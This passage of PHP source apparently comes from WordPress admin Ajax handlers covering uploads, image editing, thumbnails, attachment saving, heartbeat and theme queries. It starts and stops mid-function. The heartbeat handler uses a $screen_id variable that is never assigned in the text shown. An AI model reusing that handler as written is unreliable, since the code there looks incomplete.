	do_action( 'load-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	/** This action is documented in wp-admin/includes/ajax-actions.php */
	do_action( 'widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	/** This action is documented in wp-admin/widgets.php */
	do_action( 'sidebar_admin_setup' );

$sidebars_widgets = wp_get_sidebars_widgets();

foreach ( $sidebars_widgets['wp_inactive_widgets'] as $key => $widget_id ) {
		$pieces       = explode( '-', $widget_id );
		$multi_number = array_pop( $pieces );
		$id_base      = implode( '-', $pieces );
		$widget       = get_option( 'widget_' . $id_base );
		unset( $widget[ $multi_number ] );
		update_option( 'widget_' . $id_base, $widget );
		unset( $sidebars_widgets['wp_inactive_widgets'][ $key ] );
	}

wp_set_sidebars_widgets( $sidebars_widgets );

wp_die();
}

/**
 * Ajax handler for creating missing image sub-sizes for just uploaded images.
 *
 * @since 5.3.0
 */
function wp_ajax_media_create_image_subsizes() {
	check_ajax_referer( 'media-form' );

if ( ! current_user_can( 'upload_files' ) ) {
		wp_send_json_error( array( 'message' => __( 'Sorry, you are not allowed to upload files.' ) ) );
	}

if ( empty( $_POST['attachment_id'] ) ) {
		wp_send_json_error( array( 'message' => __( 'Upload failed. Please reload and try again.' ) ) );
	}

$attachment_id = (int) $_POST['attachment_id'];

if ( ! empty( $_POST['_wp_upload_failed_cleanup'] ) ) {
		// Upload failed. Cleanup.
		if ( wp_attachment_is_image( $attachment_id ) && current_user_can( 'delete_post', $attachment_id ) ) {
			$attachment = get_post( $attachment_id );

// Created at most 10 min ago.
			if ( $attachment && ( time() - strtotime( $attachment->post_date_gmt ) < 600 ) ) {
				wp_delete_attachment( $attachment_id, true );
				wp_send_json_success();
			}
		}
	}

// Set a custom header with the attachment_id.
	// Used by the browser/client to resume creating image sub-sizes after a PHP fatal error.
	if ( ! headers_sent() ) {
		header( 'X-WP-Upload-Attachment-ID: ' . $attachment_id );
	}

// This can still be pretty slow and cause timeout or out of memory errors.
	// The js that handles the response would need to also handle HTTP 500 errors.
	wp_update_image_subsizes( $attachment_id );

if ( ! empty( $_POST['_legacy_support'] ) ) {
		// The old (inline) uploader. Only needs the attachment_id.
		$response = array( 'id' => $attachment_id );
	} else {
		// Media modal and Media Library grid view.
		$response = wp_prepare_attachment_for_js( $attachment_id );

if ( ! $response ) {
			wp_send_json_error( array( 'message' => __( 'Upload failed.' ) ) );
		}
	}

// At this point the image has been uploaded successfully.
	wp_send_json_success( $response );
}

/**
 * Ajax handler for uploading attachments
 *
 * @since 3.3.0
 */
function wp_ajax_upload_attachment() {
	check_ajax_referer( 'media-form' );
	/*
	 * This function does not use wp_send_json_success() / wp_send_json_error()
	 * as the html4 Plupload handler requires a text/html content-type for older IE.
	 * See https://core.trac.wordpress.org/ticket/31037
	 */

if ( ! current_user_can( 'upload_files' ) ) {
		echo wp_json_encode(
			array(
				'success' => false,
				'data'    => array(
					'message'  => __( 'Sorry, you are not allowed to upload files.' ),
					'filename' => esc_html( $_FILES['async-upload']['name'] ),
				),
			)
		);

wp_die();
	}

if ( isset( $_REQUEST['post_id'] ) ) {
		$post_id = $_REQUEST['post_id'];

if ( ! current_user_can( 'edit_post', $post_id ) ) {
			echo wp_json_encode(
				array(
					'success' => false,
					'data'    => array(
						'message'  => __( 'Sorry, you are not allowed to attach files to this post.' ),
						'filename' => esc_html( $_FILES['async-upload']['name'] ),
					),
				)
			);

wp_die();
		}
	} else {
		$post_id = null;
	}

$post_data = ! empty( $_REQUEST['post_data'] ) ? _wp_get_allowed_postdata( _wp_translate_postdata( false, (array) $_REQUEST['post_data'] ) ) : array();

if ( is_wp_error( $post_data ) ) {
		wp_die( $post_data->get_error_message() );
	}

// If the context is custom header or background, make sure the uploaded file is an image.
	if ( isset( $post_data['context'] ) && in_array( $post_data['context'], array( 'custom-header', 'custom-background' ), true ) ) {
		$wp_filetype = wp_check_filetype_and_ext( $_FILES['async-upload']['tmp_name'], $_FILES['async-upload']['name'] );

if ( ! wp_match_mime_types( 'image', $wp_filetype['type'] ) ) {
			echo wp_json_encode(
				array(
					'success' => false,
					'data'    => array(
						'message'  => __( 'The uploaded file is not a valid image. Please try again.' ),
						'filename' => esc_html( $_FILES['async-upload']['name'] ),
					),
				)
			);

wp_die();
		}
	}

$attachment_id = media_handle_upload( 'async-upload', $post_id, $post_data );

if ( is_wp_error( $attachment_id ) ) {
		echo wp_json_encode(
			array(
				'success' => false,
				'data'    => array(
					'message'  => $attachment_id->get_error_message(),
					'filename' => esc_html( $_FILES['async-upload']['name'] ),
				),
			)
		);

wp_die();
	}

if ( isset( $post_data['context'] ) && isset( $post_data['theme'] ) ) {
		if ( 'custom-background' === $post_data['context'] ) {
			update_post_meta( $attachment_id, '_wp_attachment_is_custom_background', $post_data['theme'] );
		}

if ( 'custom-header' === $post_data['context'] ) {
			update_post_meta( $attachment_id, '_wp_attachment_is_custom_header', $post_data['theme'] );
		}
	}

$attachment = wp_prepare_attachment_for_js( $attachment_id );
	if ( ! $attachment ) {
		wp_die();
	}

echo wp_json_encode(
		array(
			'success' => true,
			'data'    => $attachment,
		)
	);

wp_die();
}

/**
 * Ajax handler for image editing.
 *
 * @since 3.1.0
 */
function wp_ajax_image_editor() {
	$attachment_id = intval( $_POST['postid'] );

if ( empty( $attachment_id ) || ! current_user_can( 'edit_post', $attachment_id ) ) {
		wp_die( -1 );
	}

check_ajax_referer( "image_editor-$attachment_id" );
	include_once ABSPATH . 'wp-admin/includes/image-edit.php';

$msg = false;

switch ( $_POST['do'] ) {
		case 'save':
			$msg = wp_save_image( $attachment_id );
			if ( ! empty( $msg->error ) ) {
				wp_send_json_error( $msg );
			}

wp_send_json_success( $msg );
			break;
		case 'scale':
			$msg = wp_save_image( $attachment_id );
			break;
		case 'restore':
			$msg = wp_restore_image( $attachment_id );
			break;
	}

ob_start();
	wp_image_editor( $attachment_id, $msg );
	$html = ob_get_clean();

if ( ! empty( $msg->error ) ) {
		wp_send_json_error(
			array(
				'message' => $msg,
				'html'    => $html,
			)
		);
	}

wp_send_json_success(
		array(
			'message' => $msg,
			'html'    => $html,
		)
	);
}

/**
 * Ajax handler for setting the featured image.
 *
 * @since 3.1.0
 */
function wp_ajax_set_post_thumbnail() {
	$json = ! empty( $_REQUEST['json'] ); // New-style request.

$post_ID = intval( $_POST['post_id'] );
	if ( ! current_user_can( 'edit_post', $post_ID ) ) {
		wp_die( -1 );
	}

$thumbnail_id = intval( $_POST['thumbnail_id'] );

if ( $json ) {
		check_ajax_referer( "update-post_$post_ID" );
	} else {
		check_ajax_referer( "set_post_thumbnail-$post_ID" );
	}

if ( '-1' == $thumbnail_id ) {
		if ( delete_post_thumbnail( $post_ID ) ) {
			$return = _wp_post_thumbnail_html( null, $post_ID );
			$json ? wp_send_json_success( $return ) : wp_die( $return );
		} else {
			wp_die( 0 );
		}
	}

if ( set_post_thumbnail( $post_ID, $thumbnail_id ) ) {
		$return = _wp_post_thumbnail_html( $thumbnail_id, $post_ID );
		$json ? wp_send_json_success( $return ) : wp_die( $return );
	}

wp_die( 0 );
}

/**
 * Ajax handler for retrieving HTML for the featured image.
 *
 * @since 4.6.0
 */
function wp_ajax_get_post_thumbnail_html() {
	$post_ID = intval( $_POST['post_id'] );

check_ajax_referer( "update-post_$post_ID" );

if ( ! current_user_can( 'edit_post', $post_ID ) ) {
		wp_die( -1 );
	}

$thumbnail_id = intval( $_POST['thumbnail_id'] );

// For backward compatibility, -1 refers to no featured image.
	if ( -1 === $thumbnail_id ) {
		$thumbnail_id = null;
	}

$return = _wp_post_thumbnail_html( $thumbnail_id, $post_ID );
	wp_send_json_success( $return );
}

/**
 * Ajax handler for setting the featured image for an attachment.
 *
 * @since 4.0.0
 *
 * @see set_post_thumbnail()
 */
function wp_ajax_set_attachment_thumbnail() {
	if ( empty( $_POST['urls'] ) || ! is_array( $_POST['urls'] ) ) {
		wp_send_json_error();
	}

$thumbnail_id = (int) $_POST['thumbnail_id'];
	if ( empty( $thumbnail_id ) ) {
		wp_send_json_error();
	}

$post_ids = array();
	// For each URL, try to find its corresponding post ID.
	foreach ( $_POST['urls'] as $url ) {
		$post_id = attachment_url_to_postid( $url );
		if ( ! empty( $post_id ) ) {
			$post_ids[] = $post_id;
		}
	}

if ( empty( $post_ids ) ) {
		wp_send_json_error();
	}

$success = 0;
	// For each found attachment, set its thumbnail.
	foreach ( $post_ids as $post_id ) {
		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			continue;
		}

if ( set_post_thumbnail( $post_id, $thumbnail_id ) ) {
			$success++;
		}
	}

if ( 0 === $success ) {
		wp_send_json_error();
	} else {
		wp_send_json_success();
	}

wp_send_json_error();
}

/**
 * Ajax handler for date formatting.
 *
 * @since 3.1.0
 */
function wp_ajax_date_format() {
	wp_die( date_i18n( sanitize_option( 'date_format', wp_unslash( $_POST['date'] ) ) ) );
}

/**
 * Ajax handler for time formatting.
 *
 * @since 3.1.0
 */
function wp_ajax_time_format() {
	wp_die( date_i18n( sanitize_option( 'time_format', wp_unslash( $_POST['date'] ) ) ) );
}

/**
 * Ajax handler for saving posts from the fullscreen editor.
 *
 * @since 3.1.0
 * @deprecated 4.3.0
 */
function wp_ajax_wp_fullscreen_save_post() {
	$post_id = isset( $_POST['post_ID'] ) ? (int) $_POST['post_ID'] : 0;

$post = null;

if ( $post_id ) {
		$post = get_post( $post_id );
	}

check_ajax_referer( 'update-post_' . $post_id, '_wpnonce' );

$post_id = edit_post();

if ( is_wp_error( $post_id ) ) {
		wp_send_json_error();
	}

if ( $post ) {
		$last_date = mysql2date( __( 'F j, Y' ), $post->post_modified );
		$last_time = mysql2date( __( 'g:i a' ), $post->post_modified );
	} else {
		$last_date = date_i18n( __( 'F j, Y' ) );
		$last_time = date_i18n( __( 'g:i a' ) );
	}

$last_id = get_post_meta( $post_id, '_edit_last', true );
	if ( $last_id ) {
		$last_user = get_userdata( $last_id );
		/* translators: 1: User's display name, 2: Date of last edit, 3: Time of last edit. */
		$last_edited = sprintf( __( 'Last edited by %1$s on %2$s at %3$s' ), esc_html( $last_user->display_name ), $last_date, $last_time );
	} else {
		/* translators: 1: Date of last edit, 2: Time of last edit. */
		$last_edited = sprintf( __( 'Last edited on %1$s at %2$s' ), $last_date, $last_time );
	}

wp_send_json_success( array( 'last_edited' => $last_edited ) );
}

/**
 * Ajax handler for removing a post lock.
 *
 * @since 3.1.0
 */
function wp_ajax_wp_remove_post_lock() {
	if ( empty( $_POST['post_ID'] ) || empty( $_POST['active_post_lock'] ) ) {
		wp_die( 0 );
	}

$post_id = (int) $_POST['post_ID'];
	$post    = get_post( $post_id );

if ( ! $post ) {
		wp_die( 0 );
	}

check_ajax_referer( 'update-post_' . $post_id );

if ( ! current_user_can( 'edit_post', $post_id ) ) {
		wp_die( -1 );
	}

$active_lock = array_map( 'absint', explode( ':', $_POST['active_post_lock'] ) );

if ( get_current_user_id() != $active_lock[1] ) {
		wp_die( 0 );
	}

/**
	 * Filters the post lock window duration.
	 *
	 * @since 3.3.0
	 *
	 * @param int $interval The interval in seconds the post lock duration
	 *                      should last, plus 5 seconds. Default 150.
	 */
	$new_lock = ( time() - apply_filters( 'wp_check_post_lock_window', 150 ) + 5 ) . ':' . $active_lock[1];
	update_post_meta( $post_id, '_edit_lock', $new_lock, implode( ':', $active_lock ) );
	wp_die( 1 );
}

/**
 * Ajax handler for dismissing a WordPress pointer.
 *
 * @since 3.1.0
 */
function wp_ajax_dismiss_wp_pointer() {
	$pointer = $_POST['pointer'];

if ( sanitize_key( $pointer ) != $pointer ) {
		wp_die( 0 );
	}

//  check_ajax_referer( 'dismiss-pointer_' . $pointer );

$dismissed = array_filter( explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) ) );

if ( in_array( $pointer, $dismissed, true ) ) {
		wp_die( 0 );
	}

$dismissed[] = $pointer;
	$dismissed   = implode( ',', $dismissed );

update_user_meta( get_current_user_id(), 'dismissed_wp_pointers', $dismissed );
	wp_die( 1 );
}

/**
 * Ajax handler for getting an attachment.
 *
 * @since 3.5.0
 */
function wp_ajax_get_attachment() {
	if ( ! isset( $_REQUEST['id'] ) ) {
		wp_send_json_error();
	}

$id = absint( $_REQUEST['id'] );
	if ( ! $id ) {
		wp_send_json_error();
	}

$post = get_post( $id );
	if ( ! $post ) {
		wp_send_json_error();
	}

if ( 'attachment' !== $post->post_type ) {
		wp_send_json_error();
	}

if ( ! current_user_can( 'upload_files' ) ) {
		wp_send_json_error();
	}

$attachment = wp_prepare_attachment_for_js( $id );
	if ( ! $attachment ) {
		wp_send_json_error();
	}

wp_send_json_success( $attachment );
}

/**
 * Ajax handler for querying attachments.
 *
 * @since 3.5.0
 */
function wp_ajax_query_attachments() {
	if ( ! current_user_can( 'upload_files' ) ) {
		wp_send_json_error();
	}

$query = isset( $_REQUEST['query'] ) ? (array) $_REQUEST['query'] : array();
	$keys  = array(
		's',
		'order',
		'orderby',
		'posts_per_page',
		'paged',
		'post_mime_type',
		'post_parent',
		'author',
		'post__in',
		'post__not_in',
		'year',
		'monthnum',
	);

foreach ( get_taxonomies_for_attachments( 'objects' ) as $t ) {
		if ( $t->query_var && isset( $query[ $t->query_var ] ) ) {
			$keys[] = $t->query_var;
		}
	}

$query              = array_intersect_key( $query, array_flip( $keys ) );
	$query['post_type'] = 'attachment';

if (
		MEDIA_TRASH &&
		! empty( $_REQUEST['query']['post_status'] ) &&
		'trash' === $_REQUEST['query']['post_status']
	) {
		$query['post_status'] = 'trash';
	} else {
		$query['post_status'] = 'inherit';
	}

if ( current_user_can( get_post_type_object( 'attachment' )->cap->read_private_posts ) ) {
		$query['post_status'] .= ',private';
	}

// Filter query clauses to include filenames.
	if ( isset( $query['s'] ) ) {
		add_filter( 'posts_clauses', '_filter_query_attachment_filenames' );
	}

/**
	 * Filters the arguments passed to WP_Query during an Ajax
	 * call for querying attachments.
	 *
	 * @since 3.7.0
	 *
	 * @see WP_Query::parse_query()
	 *
	 * @param array $query An array of query variables.
	 */
	$query = apply_filters( 'ajax_query_attachments_args', $query );
	$query = new WP_Query( $query );

$posts = array_map( 'wp_prepare_attachment_for_js', $query->posts );
	$posts = array_filter( $posts );

wp_send_json_success( $posts );
}

/**
 * Ajax handler for updating attachment attributes.
 *
 * @since 3.5.0
 */
function wp_ajax_save_attachment() {
	if ( ! isset( $_REQUEST['id'] ) || ! isset( $_REQUEST['changes'] ) ) {
		wp_send_json_error();
	}

$id = absint( $_REQUEST['id'] );
	if ( ! $id ) {
		wp_send_json_error();
	}

check_ajax_referer( 'update-post_' . $id, 'nonce' );

if ( ! current_user_can( 'edit_post', $id ) ) {
		wp_send_json_error();
	}

$changes = $_REQUEST['changes'];
	$post    = get_post( $id, ARRAY_A );

if ( 'attachment' !== $post['post_type'] ) {
		wp_send_json_error();
	}

if ( isset( $changes['parent'] ) ) {
		$post['post_parent'] = $changes['parent'];
	}

if ( isset( $changes['title'] ) ) {
		$post['post_title'] = $changes['title'];
	}

if ( isset( $changes['caption'] ) ) {
		$post['post_excerpt'] = $changes['caption'];
	}

if ( isset( $changes['description'] ) ) {
		$post['post_content'] = $changes['description'];
	}

if ( MEDIA_TRASH && isset( $changes['status'] ) ) {
		$post['post_status'] = $changes['status'];
	}

if ( isset( $changes['alt'] ) ) {
		$alt = wp_unslash( $changes['alt'] );
		if ( get_post_meta( $id, '_wp_attachment_image_alt', true ) !== $alt ) {
			$alt = wp_strip_all_tags( $alt, true );
			update_post_meta( $id, '_wp_attachment_image_alt', wp_slash( $alt ) );
		}
	}

if ( wp_attachment_is( 'audio', $post['ID'] ) ) {
		$changed = false;
		$id3data = wp_get_attachment_metadata( $post['ID'] );

if ( ! is_array( $id3data ) ) {
			$changed = true;
			$id3data = array();
		}

foreach ( wp_get_attachment_id3_keys( (object) $post, 'edit' ) as $key => $label ) {
			if ( isset( $changes[ $key ] ) ) {
				$changed         = true;
				$id3data[ $key ] = sanitize_text_field( wp_unslash( $changes[ $key ] ) );
			}
		}

if ( $changed ) {
			wp_update_attachment_metadata( $id, $id3data );
		}
	}

if ( MEDIA_TRASH && isset( $changes['status'] ) && 'trash' === $changes['status'] ) {
		wp_delete_post( $id );
	} else {
		wp_update_post( $post );
	}

wp_send_json_success();
}

/**
 * Ajax handler for saving backward compatible attachment attributes.
 *
 * @since 3.5.0
 */
function wp_ajax_save_attachment_compat() {
	if ( ! isset( $_REQUEST['id'] ) ) {
		wp_send_json_error();
	}

$id = absint( $_REQUEST['id'] );
	if ( ! $id ) {
		wp_send_json_error();
	}

if ( empty( $_REQUEST['attachments'] ) || empty( $_REQUEST['attachments'][ $id ] ) ) {
		wp_send_json_error();
	}

$attachment_data = $_REQUEST['attachments'][ $id ];

check_ajax_referer( 'update-post_' . $id, 'nonce' );

if ( ! current_user_can( 'edit_post', $id ) ) {
		wp_send_json_error();
	}

$post = get_post( $id, ARRAY_A );

if ( 'attachment' !== $post['post_type'] ) {
		wp_send_json_error();
	}

/** This filter is documented in wp-admin/includes/media.php */
	$post = apply_filters( 'attachment_fields_to_save', $post, $attachment_data );

if ( isset( $post['errors'] ) ) {
		$errors = $post['errors']; // @todo return me and display me!
		unset( $post['errors'] );
	}

wp_update_post( $post );

foreach ( get_attachment_taxonomies( $post ) as $taxonomy ) {
		if ( isset( $attachment_data[ $taxonomy ] ) ) {
			wp_set_object_terms( $id, array_map( 'trim', preg_split( '/,+/', $attachment_data[ $taxonomy ] ) ), $taxonomy, false );
		}
	}

$attachment = wp_prepare_attachment_for_js( $id );

if ( ! $attachment ) {
		wp_send_json_error();
	}

wp_send_json_success( $attachment );
}

/**
 * Ajax handler for saving the attachment order.
 *
 * @since 3.5.0
 */
function wp_ajax_save_attachment_order() {
	if ( ! isset( $_REQUEST['post_id'] ) ) {
		wp_send_json_error();
	}

$post_id = absint( $_REQUEST['post_id'] );
	if ( ! $post_id ) {
		wp_send_json_error();
	}

if ( empty( $_REQUEST['attachments'] ) ) {
		wp_send_json_error();
	}

check_ajax_referer( 'update-post_' . $post_id, 'nonce' );

$attachments = $_REQUEST['attachments'];

if ( ! current_user_can( 'edit_post', $post_id ) ) {
		wp_send_json_error();
	}

foreach ( $attachments as $attachment_id => $menu_order ) {
		if ( ! current_user_can( 'edit_post', $attachment_id ) ) {
			continue;
		}

$attachment = get_post( $attachment_id );

if ( ! $attachment ) {
			continue;
		}

if ( 'attachment' !== $attachment->post_type ) {
			continue;
		}

wp_update_post(
			array(
				'ID'         => $attachment_id,
				'menu_order' => $menu_order,
			)
		);
	}

wp_send_json_success();
}

/**
 * Ajax handler for sending an attachment to the editor.
 *
 * Generates the HTML to send an attachment to the editor.
 * Backward compatible with the {@see 'media_send_to_editor'} filter
 * and the chain of filters that follow.
 *
 * @since 3.5.0
 */
function wp_ajax_send_attachment_to_editor() {
	check_ajax_referer( 'media-send-to-editor', 'nonce' );

$attachment = wp_unslash( $_POST['attachment'] );

$id = intval( $attachment['id'] );

$post = get_post( $id );
	if ( ! $post ) {
		wp_send_json_error();
	}

if ( 'attachment' !== $post->post_type ) {
		wp_send_json_error();
	}

if ( current_user_can( 'edit_post', $id ) ) {
		// If this attachment is unattached, attach it. Primarily a back compat thing.
		$insert_into_post_id = intval( $_POST['post_id'] );

if ( 0 == $post->post_parent && $insert_into_post_id ) {
			wp_update_post(
				array(
					'ID'          => $id,
					'post_parent' => $insert_into_post_id,
				)
			);
		}
	}

$url = empty( $attachment['url'] ) ? '' : $attachment['url'];
	$rel = ( strpos( $url, 'attachment_id' ) || get_attachment_link( $id ) == $url );

remove_filter( 'media_send_to_editor', 'image_media_send_to_editor' );

if ( 'image' === substr( $post->post_mime_type, 0, 5 ) ) {
		$align = isset( $attachment['align'] ) ? $attachment['align'] : 'none';
		$size  = isset( $attachment['image-size'] ) ? $attachment['image-size'] : 'medium';
		$alt   = isset( $attachment['image_alt'] ) ? $attachment['image_alt'] : '';

// No whitespace-only captions.
		$caption = isset( $attachment['post_excerpt'] ) ? $attachment['post_excerpt'] : '';
		if ( '' === trim( $caption ) ) {
			$caption = '';
		}

$title = ''; // We no longer insert title tags into <img> tags, as they are redundant.
		$html  = get_image_send_to_editor( $id, $caption, $title, $align, $url, $rel, $size, $alt );
	} elseif ( wp_attachment_is( 'video', $post ) || wp_attachment_is( 'audio', $post ) ) {
		$html = stripslashes_deep( $_POST['html'] );
	} else {
		$html = isset( $attachment['post_title'] ) ? $attachment['post_title'] : '';
		$rel  = $rel ? ' rel="attachment wp-att-' . $id . '"' : ''; // Hard-coded string, $id is already sanitized.

if ( ! empty( $url ) ) {
			$html = '<a href="' . esc_url( $url ) . '"' . $rel . '>' . $html . '</a>';
		}
	}

/** This filter is documented in wp-admin/includes/media.php */
	$html = apply_filters( 'media_send_to_editor', $html, $id, $attachment );

wp_send_json_success( $html );
}

/**
 * Ajax handler for sending a link to the editor.
 *
 * Generates the HTML to send a non-image embed link to the editor.
 *
 * Backward compatible with the following filters:
 * - file_send_to_editor_url
 * - audio_send_to_editor_url
 * - video_send_to_editor_url
 *
 * @since 3.5.0
 *
 * @global WP_Post  $post     Global post object.
 * @global WP_Embed $wp_embed
 */
function wp_ajax_send_link_to_editor() {
	global $post, $wp_embed;

check_ajax_referer( 'media-send-to-editor', 'nonce' );

$src = wp_unslash( $_POST['src'] );
	if ( ! $src ) {
		wp_send_json_error();
	}

if ( ! strpos( $src, '://' ) ) {
		$src = 'http://' . $src;
	}

$src = esc_url_raw( $src );
	if ( ! $src ) {
		wp_send_json_error();
	}

$link_text = trim( wp_unslash( $_POST['link_text'] ) );
	if ( ! $link_text ) {
		$link_text = wp_basename( $src );
	}

$post = get_post( isset( $_POST['post_id'] ) ? $_POST['post_id'] : 0 );

// Ping WordPress for an embed.
	$check_embed = $wp_embed->run_shortcode( '[embed]' . $src . '[/embed]' );

// Fallback that WordPress creates when no oEmbed was found.
	$fallback = $wp_embed->maybe_make_link( $src );

if ( $check_embed !== $fallback ) {
		// TinyMCE view for [embed] will parse this.
		$html = '[embed]' . $src . '[/embed]';
	} elseif ( $link_text ) {
		$html = '<a href="' . esc_url( $src ) . '">' . $link_text . '</a>';
	} else {
		$html = '';
	}

// Figure out what filter to run:
	$type = 'file';
	$ext  = preg_replace( '/^.+?\.([^.]+)$/', '$1', $src );
	if ( $ext ) {
		$ext_type = wp_ext2type( $ext );
		if ( 'audio' === $ext_type || 'video' === $ext_type ) {
			$type = $ext_type;
		}
	}

/** This filter is documented in wp-admin/includes/media.php */
	$html = apply_filters( "{$type}_send_to_editor_url", $html, $src, $link_text );

wp_send_json_success( $html );
}

/**
 * Ajax handler for the Heartbeat API.
 *
 * Runs when the user is logged in.
 *
 * @since 3.6.0
 */
function wp_ajax_heartbeat() {
	if ( empty( $_POST['_nonce'] ) ) {
		wp_send_json_error();
	}

$response    = array();
	$data        = array();
	$nonce_state = wp_verify_nonce( $_POST['_nonce'], 'heartbeat-nonce' );

if ( ! empty( $_POST['data'] ) ) {
		$data = wp_unslash( (array) $_POST['data'] );
	}

if ( 1 !== $nonce_state ) {
		/**
		 * Filters the nonces to send to the New/Edit Post screen.
		 *
		 * @since 4.3.0
		 *
		 * @param array  $response  The Heartbeat response.
		 * @param array  $data      The $_POST data sent.
		 * @param string $screen_id The screen ID.
		 */
		$response = apply_filters( 'wp_refresh_nonces', $response, $data, $screen_id );

if ( false === $nonce_state ) {
			// User is logged in but nonces have expired.
			$response['nonces_expired'] = true;
			wp_send_json( $response );
		}
	}

if ( ! empty( $data ) ) {
		/**
		 * Filters the Heartbeat response received.
		 *
		 * @since 3.6.0
		 *
		 * @param array  $response  The Heartbeat response.
		 * @param array  $data      The $_POST data sent.
		 * @param string $screen_id The screen ID.
		 */
		$response = apply_filters( 'heartbeat_received', $response, $data, $screen_id );
	}

/**
	 * Filters the Heartbeat response sent.
	 *
	 * @since 3.6.0
	 *
	 * @param array  $response  The Heartbeat response.
	 * @param string $screen_id The screen ID.
	 */
	$response = apply_filters( 'heartbeat_send', $response, $screen_id );

/**
	 * Fires when Heartbeat ticks in logged-in environments.
	 *
	 * Allows the transport to be easily replaced with long-polling.
	 *
	 * @since 3.6.0
	 *
	 * @param array  $response  The Heartbeat response.
	 * @param string $screen_id The screen ID.
	 */
	do_action( 'heartbeat_tick', $response, $screen_id );

// Send the current time according to the server.
	$response['server_time'] = time();

wp_send_json( $response );
}

/**
 * Ajax handler for getting revision diffs.
 *
 * @since 3.6.0
 */
function wp_ajax_get_revision_diffs() {
	require ABSPATH . 'wp-admin/includes/revision.php';

$post = get_post( (int) $_REQUEST['post_id'] );
	if ( ! $post ) {
		wp_send_json_error();
	}

if ( ! current_user_can( 'edit_post', $post->ID ) ) {
		wp_send_json_error();
	}

// Really just pre-loading the cache here.
	$revisions = wp_get_post_revisions( $post->ID, array( 'check_enabled' => false ) );
	if ( ! $revisions ) {
		wp_send_json_error();
	}

$return = array();
	set_time_limit( 0 );

foreach ( $_REQUEST['compare'] as $compare_key ) {
		list( $compare_from, $compare_to ) = explode( ':', $compare_key ); // from:to

$return[] = array(
			'id'     => $compare_key,
			'fields' => wp_get_revision_ui_diff( $post, $compare_from, $compare_to ),
		);
	}
	wp_send_json_success( $return );
}

/**
 * Ajax handler for auto-saving the selected color scheme for
 * a user's own profile.
 *
 * @since 3.8.0
 *
 * @global array $_wp_admin_css_colors
 */
function wp_ajax_save_user_color_scheme() {
	global $_wp_admin_css_colors;

check_ajax_referer( 'save-color-scheme', 'nonce' );

$color_scheme = sanitize_key( $_POST['color_scheme'] );

if ( ! isset( $_wp_admin_css_colors[ $color_scheme ] ) ) {
		wp_send_json_error();
	}

$previous_color_scheme = get_user_meta( get_current_user_id(), 'admin_color', true );
	update_user_meta( get_current_user_id(), 'admin_color', $color_scheme );

wp_send_json_success(
		array(
			'previousScheme' => 'admin-color-' . $previous_color_scheme,
			'currentScheme'  => 'admin-color-' . $color_scheme,
		)
	);
}

/**
 * Ajax handler for getting themes from themes_api().
 *
 * @since 3.9.0
 *
 * @global array $themes_allowedtags
 * @global array $theme_field_defaults
 */
function wp_ajax_query_themes() {
	global $themes_allowedtags, $theme_field_defaults;

if ( ! current_user_can( 'install_themes' ) ) {
		wp_send_json_error();
	}

$args = wp_parse_args(
		wp_unslash( $_REQUEST['request'] ),
		array(
			'per_page' => 20,
			'fields'   => array_merge(
				(array) $theme_field_defaults,
				array(
					'reviews_url' => true, // Explicitly request the reviews URL to be linked from the Add Themes screen.
				)
			),
		)
	);

if ( isset( $args['browse'] ) && 'favorites' === $args['browse'] && ! isset( $args['user'] ) ) {
		$user = get_user_option( 'wporg_favorites' );
		if ( $user ) {
			$args['user'] = $user;
		}
	}

$old_filter = isset( $args['browse'] ) ? $args['browse'] : 'search';

/** This filter is documented in wp-admin/includes/class-wp-theme-install-list-table.php */
	$args = apply_filters( 'install_themes_table_api_args_' . $old_filter, $args );

$api = themes_api( 'query_themes', $args );

if ( is_wp_error( $api ) ) {
		wp_send_json_error();
	}

$update_php = network_admin_url( 'update.php?action=install-theme' );

foreach ( $api->themes as &$theme ) {
		$theme->install_url = add_query_arg(
			array(
				'theme'    => $theme->slug,
				'_wpnonce' => wp_create_nonce( 'install-theme_' . $theme->slug ),
			),
			$update_php
		);

if ( current_user_can( 'switch_themes' ) ) {
			if ( is_multisite() ) {
				$theme->activate_url = add_query_arg(
					array(
						'action'   => 'enable',
						'_wpnonce' => wp_create_nonce( 'enable-theme_' . $theme->slug ),
						'theme'    => $theme->slug,
					),
					network_admin_url( 'themes.php' )
				);
			} else {
				$theme->activate_url = add_query_arg(
					array(
						'action'     => 'activate',
						'_wpnonce'   => wp_create_nonce( 'switch-theme_' . $theme->slug ),
						'stylesheet' => $theme->slug,
					),
					admin_url( 'themes.php' )
				);
			}
		}

if ( ! is_multisite() && current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
			$theme->customize_url = add_query_arg(
				array(
					'return' => urlencode( network_admin_url( 'theme-install.php', 'relative' ) ),
				),
				wp_customize_url( $theme->slug )
			);
		}

$theme->name        = wp_kses( $theme->name, $themes_allowedtags );
		$theme->author      = wp_kses( $theme->author['display_name'], $themes_allowedtags );
		$theme->version     = wp_kses( $theme->version, $themes_allowedtags );
		$theme->description = wp_kses( $theme->description, $themes_allowedtags );

$theme->stars = wp_star_rating(
			array(
				'rating' => $theme->rating,
				'type'   => 'percent',
				'number' => $theme->num_ratings,
				'echo'   => false,
			)
		);

$theme->num_ratings    = number_format_i18n( $theme->num_ratings );
		$theme->preview_url    = set_url_scheme( $theme->preview_url );
		$theme->compatible_wp  = is_wp_version_compatible( $theme->requires );
		$theme->compatible_php = is_php_version_compatible( $theme->requires_php );
	}

wp_send_json_success( $api );
}

/**
 * Apply [embed] Ajax handlers to a string.
 *
 * @since 4.0.0
 *
 * @global WP_Post    $post       Global post object.
 * @global WP_Embed   $wp_embed   Embed API instance.
 * @global WP_Scripts $wp_scripts
 * @global int        $content_width
 */
function wp_ajax_parse_embed() {
	global $post, $wp_embed, $content_width;

if ( empty( $_POST['shortcode'] ) ) {
		wp_send_json_error();
	}

$post_id = isset( $_POST['post_ID'] ) ? intval( $_POST['post_ID'] ) : 0;

if ( $post_id > 0 ) {
		$post = get_post( $post_id );

if ( ! $post || ! current_user_can( 'edit_post', $post->ID ) ) {
			wp_send_json_error();
		}
		setup_postdata( $post );
	} elseif ( ! current_user_can( 'edit_posts' ) ) { // See WP_oEmbed_Controller::get_proxy_item_permissions_check().
		wp_send_json_error();
	}

$shortcode = wp_unslash( $_POST['shortcode'] );

preg_match( '/' . get_shortcode_regex() . '/s', $shortcode, $matches );
	$atts = shortcode_parse_atts( $matches[3] );

if ( ! empty( $matches[5] ) ) {
